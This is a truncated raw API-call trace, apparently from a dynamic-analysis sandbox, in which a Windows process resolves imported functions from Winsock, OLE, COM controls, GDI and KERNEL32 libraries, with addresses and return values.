[0170.480] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0xc, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x7596b131) returned 0x0 [0170.481] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x39, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x7596a05b) returned 0x0 [0170.481] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x70, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x759637d9) returned 0x0 [0170.481] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="WSASocketW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75963cd3) returned 0x0 [0170.481] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="WSAEnumNetworkEvents", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x759631b1) returned 0x0 [0170.481] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="WSAEventSelect", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7596648f) returned 0x0 [0170.481] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0xf, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75962d8b) returned 0x0 [0170.481] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x15, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x759641b6) returned 0x0 [0170.481] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x6, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x759630af) returned 0x0 [0170.481] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x2, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75964582) returned 0x0 [0170.481] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x6f, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x759637ad) returned 0x0 [0170.482] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x8, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75962d57) returned 0x0 [0170.482] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x4, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75966bdd) returned 0x0 [0170.482] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x73, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75963ab2) returned 0x0 [0170.482] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="getaddrinfo", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75964296) returned 0x0 [0170.482] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x9, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75962d8b) returned 0x0 [0170.482] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x16, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x7596449d) returned 0x0 [0170.482] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x74, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75963c5f) returned 0x0 [0170.482] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x17, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75963eb8) returned 0x0 [0170.482] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name="freeaddrinfo", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75964b1b) returned 0x0 [0170.482] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x3, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75963918) returned 0x0 [0170.482] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x13, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75966f01) returned 0x0 [0170.483] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x10, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75966b0e) returned 0x0 [0170.483] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0xd, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x7596b001) returned 0x0 [0170.483] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x1, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x759668b6) returned 0x0 [0170.483] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0xa, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75963084) returned 0x0 [0170.483] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x14, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x759634b5) returned 0x0 [0170.483] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0xe, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75962d57) returned 0x0 [0170.483] LdrGetProcedureAddress (in: BaseAddress=0x75960000, Name=0x0, Ordinal=0x11, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x7596b6dc) returned 0x0 [0170.483] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75740000 [0170.489] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="OleSetClipboard", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x757a0045) returned 0x0 [0170.490] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="OleGetClipboard", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x757cfdcd) returned 0x0 [0170.490] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="StringFromGUID2", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x757822ec) returned 0x0 [0170.490] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="OleInitialize", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7575efd7) returned 0x0 [0170.490] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="OleUninitialize", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7575eba1) returned 0x0 [0170.490] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="ReleaseStgMedium", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7575d35c) returned 0x0 [0170.490] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="CoCreateInstance", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75789d0b) returned 0x0 [0170.490] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="CoInitializeSecurity", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75767259) returned 0x0 [0170.490] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="CoUnmarshalInterface", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7576f150) returned 0x0 [0170.490] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="CoTaskMemFree", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75796f41) returned 0x0 [0170.491] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="OleFlushClipboard", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x757cfc29) returned 0x0 [0170.491] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="RevokeDragDrop", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7575ea05) returned 0x0 [0170.491] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="DoDragDrop", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7584a827) returned 0x0 [0170.491] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="RegisterDragDrop", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7575e924) returned 0x0 [0170.491] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="PropVariantClear", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75783d79) returned 0x0 [0170.491] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="OleDuplicateData", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x757a0d39) returned 0x0 [0170.491] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="CoSetProxyBlanket", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75755ea5) returned 0x0 [0170.491] LdrGetProcedureAddress (in: BaseAddress=0x75740000, Name="CreateStreamOnHGlobal", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7576363b) returned 0x0 [0170.491] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75130000 [0170.494] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x13, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x7514e127) returned 0x0 [0170.494] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x19, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x7514ea56) returned 0x0 [0170.495] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x14, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x7514e173) returned 0x0 [0170.495] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x2, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75134642) returned 0x0 [0170.495] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x8, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75133ed5) returned 0x0 [0170.495] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x9, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75133eae) returned 0x0 [0170.495] LdrGetProcedureAddress (in: BaseAddress=0x75130000, Name=0x0, Ordinal=0x6, ProcedureAddress=0x16eb78 | out: ProcedureAddress=0x16eb78*=0x75133e59) returned 0x0 [0170.495] LoadLibraryA (lpLibFileName="COMCTL32.dll") returned 0x73a90000 [0170.567] LdrGetProcedureAddress (in: BaseAddress=0x73a90000, Name="InitCommonControlsEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x73ab09ce) returned 0x0 [0170.567] LdrGetProcedureAddress (in: BaseAddress=0x73a90000, Name="ImageList_DrawEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x73aa10fd) returned 0x0 [0170.567] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75220000 [0170.567] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetBkMode", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523901a) returned 0x0 [0170.568] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CombineRgn", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523a903) returned 0x0 [0170.568] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateRectRgnIndirect", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523a764) returned 0x0 [0170.568] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="DeleteObject", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75235689) returned 0x0 [0170.568] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetRegionData", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523afcc) returned 0x0 [0170.568] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateDCW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523e743) returned 0x0 [0170.568] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="DeleteDC", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752358b3) returned 0x0 [0170.568] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="BitBlt", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75235ea6) returned 0x0 [0170.568] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetPixel", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523cbfb) returned 0x0 [0170.568] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetPixel", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523ccee) returned 0x0 [0170.569] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GdiFlush", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523ae78) returned 0x0 [0170.569] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="ExtEscape", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752403b7) returned 0x0 [0170.569] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetBkColor", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752352d8) returned 0x0 [0170.569] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetDeviceCaps", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75234de0) returned 0x0 [0170.569] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateFontIndirectW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75235c19) returned 0x0 [0170.569] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetTextColor", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523522d) returned 0x0 [0170.569] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetStretchBltMode", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75237180) returned 0x0 [0170.569] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SelectClipRgn", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75238916) returned 0x0 [0170.569] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SelectObject", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75234f70) returned 0x0 [0170.569] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="StretchBlt", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523b895) returned 0x0 [0170.570] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="ExcludeClipRect", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523a066) returned 0x0 [0170.570] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetTextMetricsW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752382b2) returned 0x0 [0170.570] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetBkMode", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752351a2) returned 0x0 [0170.570] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="LineTo", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523b9e5) returned 0x0 [0170.570] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="MoveToEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75238ee6) returned 0x0 [0170.570] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="TextOutW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523d41c) returned 0x0 [0170.570] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetTextAlign", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75238401) returned 0x0 [0170.570] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateRoundRectRgn", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75263736) returned 0x0 [0170.570] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetTextAlign", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75237fd5) returned 0x0 [0170.571] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="FillRgn", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523dfce) returned 0x0 [0170.571] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateSolidBrush", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75234f17) returned 0x0 [0170.571] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateRectRgn", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752377cf) returned 0x0 [0170.571] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="Polygon", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523cafc) returned 0x0 [0170.571] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreatePen", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523ba4f) returned 0x0 [0170.571] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreatePatternBrush", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75235dde) returned 0x0 [0170.571] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetStockObject", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75234eb8) returned 0x0 [0170.571] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SwapBuffers", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752659fb) returned 0x0 [0170.571] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetPixelFormat", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7526594c) returned 0x0 [0170.571] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="ChoosePixelFormat", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7526588f) returned 0x0 [0170.572] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetViewportOrgEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75238659) returned 0x0 [0170.572] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateEllipticRgn", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752636ff) returned 0x0 [0170.572] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="IntersectClipRect", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75237dc4) returned 0x0 [0170.572] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetClipBox", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523af9f) returned 0x0 [0170.572] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="OffsetViewportOrgEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523ab56) returned 0x0 [0170.572] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetTextExtentExPointW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75246815) returned 0x0 [0170.572] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetKerningPairsW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7525954c) returned 0x0 [0170.572] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetMapMode", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523b02f) returned 0x0 [0170.572] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetGlyphOutlineW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7525940d) returned 0x0 [0170.572] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetDCPenColor", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75262389) returned 0x0 [0170.573] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateDIBSection", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523ac46) returned 0x0 [0170.573] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetTextExtentPoint32W", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523c107) returned 0x0 [0170.573] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SetBrushOrgEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75239541) returned 0x0 [0170.573] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetDCBrushColor", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7526232e) returned 0x0 [0170.573] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetObjectW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75236c3a) returned 0x0 [0170.573] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateBrushIndirect", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523b385) returned 0x0 [0170.573] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateBitmap", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75235d53) returned 0x0 [0170.573] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetBitmapBits", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523c155) returned 0x0 [0170.573] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateCompatibleBitmap", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75235f49) returned 0x0 [0170.573] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="RestoreDC", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75236ead) returned 0x0 [0170.574] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="SaveDC", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75236e05) returned 0x0 [0170.574] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="OffsetRgn", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523b3d4) returned 0x0 [0170.574] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="CreateCompatibleDC", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752354f4) returned 0x0 [0170.574] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetRgnBox", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7523b6aa) returned 0x0 [0170.574] LdrGetProcedureAddress (in: BaseAddress=0x75220000, Name="GetClipRgn", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75238a43) returned 0x0 [0170.574] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x752b0000 [0170.574] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dd077) returned 0x0 [0170.574] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GlobalAlloc", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c5846) returned 0x0 [0170.574] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dcfb4) returned 0x0 [0170.575] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c11c0) returned 0x0 [0170.575] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GlobalFree", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c5510) returned 0x0 [0170.575] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c10ff) returned 0x0 [0170.575] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetProcessShutdownParameters", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752e9003) returned 0x0 [0170.575] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ResetEvent", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c16bd) returned 0x0 [0170.575] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c110c) returned 0x0 [0170.575] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateProcessW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c103d) returned 0x0 [0170.575] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1136) returned 0x0 [0170.575] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetExitCodeProcess", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752d1705) returned 0x0 [0170.576] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c41d8) returned 0x0 [0170.576] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c13f0) returned 0x0 [0170.576] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ResumeThread", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c43a7) returned 0x0 [0170.576] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c17e9) returned 0x0 [0170.576] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetSystemDirectoryW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c501b) returned 0x0 [0170.576] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c11f8) returned 0x0 [0170.576] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c43ed) returned 0x0 [0170.576] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c43fa) returned 0x0 [0170.576] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FindNextFileW", 